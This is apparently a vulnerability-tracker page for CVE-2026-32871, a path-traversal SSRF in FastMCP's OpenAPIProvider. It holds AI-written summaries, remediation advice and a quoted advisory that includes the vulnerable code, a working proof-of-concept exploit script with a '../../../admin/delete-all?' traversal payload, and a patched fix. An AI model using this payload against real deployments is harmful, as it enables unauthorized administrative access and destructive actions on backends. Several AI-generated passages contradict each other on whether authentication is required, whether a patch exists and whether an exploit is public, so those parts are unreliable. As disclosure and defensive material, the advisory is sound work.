Python
CVE-2026-32871
CRITICAL
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft OpenAPI spec with malicious path parameters
-
DeliverySubmit request with ../ sequences
-
ExploitURL-encode bypass via urljoin()
-
ExecutionAccess arbitrary backend endpoints
-
ImpactRetrieve sensitive data or modify resources
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | No special conditions — remote unauthenticated exploitation against FastMCP installations exposing OpenAPIProvider with path parameters in OpenAPI specifications. Attacker sends MCP requests with crafted path parameter values containing |
| Impact | This vulnerability presents significant real-world risk despite lacking traditional CVSS scoring. The attack requires authentication to the MCP client interface (suggested by 'authenticated SSRF' classification), reducing opportunistic exploitation but enabling insider threats or compromised client scenarios. EPSS data is unavailable for this recent CVE-2026 identifier. No CISA KEV listing exists, indicating no confirmed active exploitation in federal enterprise environments. However, the GitHub advisory provides comprehensive proof-of-concept code demonstrating practical exploitation to access /admin endpoints, lowering the technical barrier significantly. The SSVC framework would rate this as: Exploitation=POC (proof-of-concept exists), Automatable=No (requires authenticated MCP client context), Technical Impact=Total (arbitrary backend access with credential inheritance enables data exfiltration, privilege escalation, and potential destructive operations). Priority should be HIGH for organizations deploying FastMCP in production, particularly those exposing internal APIs through OpenAPI specifications where backend systems contain administrative or sensitive endpoints not intended for MCP client access. The combination of authentication bypass, privilege escalation tags, and SSRF classification indicates this transcends typical injection vulnerabilities by enabling lateral movement within the backend service architecture. |
| Exploit ScenarioDerived | An attacker with valid MCP client credentials targets a FastMCP deployment exposing a backend API with path parameters, such as GET /api/v1/users/{user_id}/profile. The attacker crafts a malicious request substituting the user_id parameter with '../../../admin/delete-all?' to perform path traversal. The vulnerable _build_url() method substitutes this payload directly into the URL template without encoding, then urljoin() resolves the '../' sequences, constructing http://backend/admin/delete-all? instead of the intended user profile endpoint. The request is transmitted to the backend service with the MCP provider's authorization headers (e.g., 'Bearer admin_secret'), granting the attacker access to administrative functions not exposed in the OpenAPI specification. This enables unauthorized actions such as data deletion, credential extraction from internal endpoints, or access to sensitive customer information, all while operating within the legitimate authentication context of the MCP provider. |
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Alert meAnalysisAIv1 – Mar 31, 2026
Server-Side Request Forgery (SSRF) in FastMCP's OpenAPIProvider allows authenticated attackers to access arbitrary backend endpoints through path traversal injection in OpenAPI path parameters. The vulnerability arises from improper URL encoding in the RequestDirector._build_url() method, enabling attackers to escape intended API prefixes using '../' sequences and reach internal administrative or sensitive endpoints while inheriting the MCP provider's authentication context. This affects the fastmcp Python package and enables privilege escalation beyond the OpenAPI specification's intended API surface. No public exploit identified at time of analysis, though detailed proof-of-concept code exists in the GitHub advisory demonstrating traversal to /admin endpoints.
RemediationAI
Apply URL encoding to all path parameter values before substitution into URL templates by implementing urllib.parse.quote() with safe='' parameter in the RequestDirector._build_url() method. The GitHub advisory at https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vv7q-7jx5-f767 provides the complete patched code implementation. Upgrade to the patched version of fastmcp immediately if available through PyPI (specific fixed version number not provided in available data, consult the GitHub advisory for release details). As an interim workaround, implement input validation to reject path parameter values containing '../', './', or URL-encoded equivalents (%2e%2e%2f, etc.), though this defense-in-depth measure is inferior to proper URL encoding. Review OpenAPI specifications to minimize use of path parameters for sensitive operations, preferring query parameters or request body data where feasible. Audit backend services for unintended exposure of administrative or internal endpoints, implementing additional authentication layers for high-privilege operations independent of the MCP provider's credentials. Monitor for anomalous URL patterns in backend access logs indicating traversal attempts.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
FastMCP is a Python framework for building Model Context Protocol (MCP) servers. The OpenAPIProvider component exposes backend APIs to MCP clients by parsing OpenAPI specifications. The vulnerability occurs in the RequestDirector class's _build_url() method (fastmcp/utilities/openapi/director.py), which performs direct string substitution of path parameters into URL templates without URL-encoding special characters. When urllib.parse.urljoin() subsequently resolves the constructed URL, it interprets '../' sequences as legitimate directory traversal operators. This is a classic instance of CWE-918 (Server-Side Request Forgery) compounded by improper input validation (CWE-20). The root cause is treating user-controlled path parameter values as trusted URL components rather than opaque data requiring encoding. The affected package is distributed via PyPI as 'fastmcp', and the CPE identifier pkg:pip/fastmcp indicates all versions prior to the patch are vulnerable.
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Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Primary rating from Vendor (https://github.com/PrefectHQ/fastmcp).
CVSS VectorVendor: https://github.com/PrefectHQ/fastmcp
Lifecycle Timeline
2DescriptionCVE.org
Technical Description
The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.
A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.
Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.
---
Vulnerable Code
File: fastmcp/utilities/openapi/director.py
def _build_url(
self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
# Direct string substitution without encoding
url_path = path_template
for param_name, param_value in path_params.items():
placeholder = f"{{{param_name}}}"
if placeholder in url_path:
url_path = url_path.replace(placeholder, str(param_value))
# urljoin resolves ../ escape sequences
return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))Root Cause
- Path parameters are substituted directly without URL encoding
urllib.parse.urljoin()interprets../as directory traversal- No validation prevents traversal sequences in parameter values
- Requests inherit the authentication context of the MCP provider
---
Proof of Concept
Step 1: Backend API Setup
Create internal_api.py to simulate a vulnerable backend server:
from fastapi import FastAPI, Header, HTTPException
import uvicorn
app = FastAPI()
@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
return {"status": "success", "user": user_id}
@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
if authorization == "Bearer admin_secret":
return {"status": "CRITICAL", "message": "Administrative access granted"}
raise HTTPException(status_code=401)
if __name__ == "__main__":
uvicorn.run(app, host="127.0.0.1", port=8080)Step 2: Exploitation Script
Create exploit_poc.py:
import asyncio
import httpx
from fastmcp.utilities.openapi.director import RequestDirector
async def exploit_ssrf():
# Initialize vulnerable component
director = RequestDirector(spec={})
base_url = "http://127.0.0.1:8080/"
template = "/api/v1/users/{id}/profile"
# Payload: Path traversal to reach /admin/delete-all
# The '?' character neutralizes the rest of the original template
payload = "../../../admin/delete-all?"
# Construct malicious URL
malicious_url = director._build_url(template, {"id": payload}, base_url)
print(f"[*] Generated URL: {malicious_url}")
async with httpx.AsyncClient() as client:
# Request inherits MCP provider's authorization headers
response = await client.get(
malicious_url,
headers={"Authorization": "Bearer admin_secret"}
)
print(f"[+] Status Code: {response.status_code}")
print(f"[+] Response: {response.text}")
if __name__ == "__main__":
asyncio.run(exploit_ssrf())Expected Output
[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.
---
Impact Assessment
Severity Justification
- Unauthorized Access: Attackers can interact with private endpoints not exposed in the OpenAPI specification
- Privilege Escalation: The attacker operates within the MCP provider's security context and credentials
- Authentication Bypass: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented
- Data Exfiltration: Sensitive internal APIs can be accessed and exploited
- Lateral Movement: Internal-only services may be compromised from the network boundary
Attack Scenarios
- Accessing Admin Panels: Bypass API restrictions to reach administrative endpoints
- Data Theft: Access internal databases or sensitive information endpoints
- Service Disruption: Trigger destructive operations on backend services
- Credential Extraction: Access endpoints returning API keys, tokens, or credentials
---
Remediation
Recommended Fix
URL-encode all path parameter values before substitution to ensure reserved characters (/, ., ?, #) are treated as literal data, not path delimiters.
Updated code for _build_url() method:
import urllib.parse
def _build_url(
self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
url_path = path_template
for param_name, param_value in path_params.items():
placeholder = f"{{{param_name}}}"
if placeholder in url_path:
# Apply safe URL encoding to prevent traversal attacks
# safe="" ensures ALL special characters are encoded
safe_value = urllib.parse.quote(str(param_value), safe="")
url_path = url_path.replace(placeholder, safe_value)
return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))Blast Radius
ecosystem impact- 32 pypi packages depend on fastmcp (29 direct, 3 indirect)
Ecosystem-wide dependent count for version 3.2.0.
Executive ViewAI
FastMCP's OpenAPIProvider contains a critical server-side request forgery vulnerability that allows authenticated users to bypass API restrictions and access internal administrative endpoints by injecting path traversal sequences. This enables privilege escalation beyond intended API boundaries, potentially exposing sensitive backend systems and data to any user with legitimate FastMCP access.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict FastMCP service network access via firewall rules to explicitly approved backend endpoints only, blocking internal admin paths; (2) implement API gateway rules to reject requests containing '../' sequences in URL paths; (3) enforce principle of least privilege-ensure FastMCP service accounts have minimal permissions on backend systems; (4) enable detailed logging and alerting on suspicious path traversal attempts to FastMCP services; (5) consider disabling OpenAPIProvider functionality until patch availability is confirmed.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
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GHSA-vv7q-7jx5-f767
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB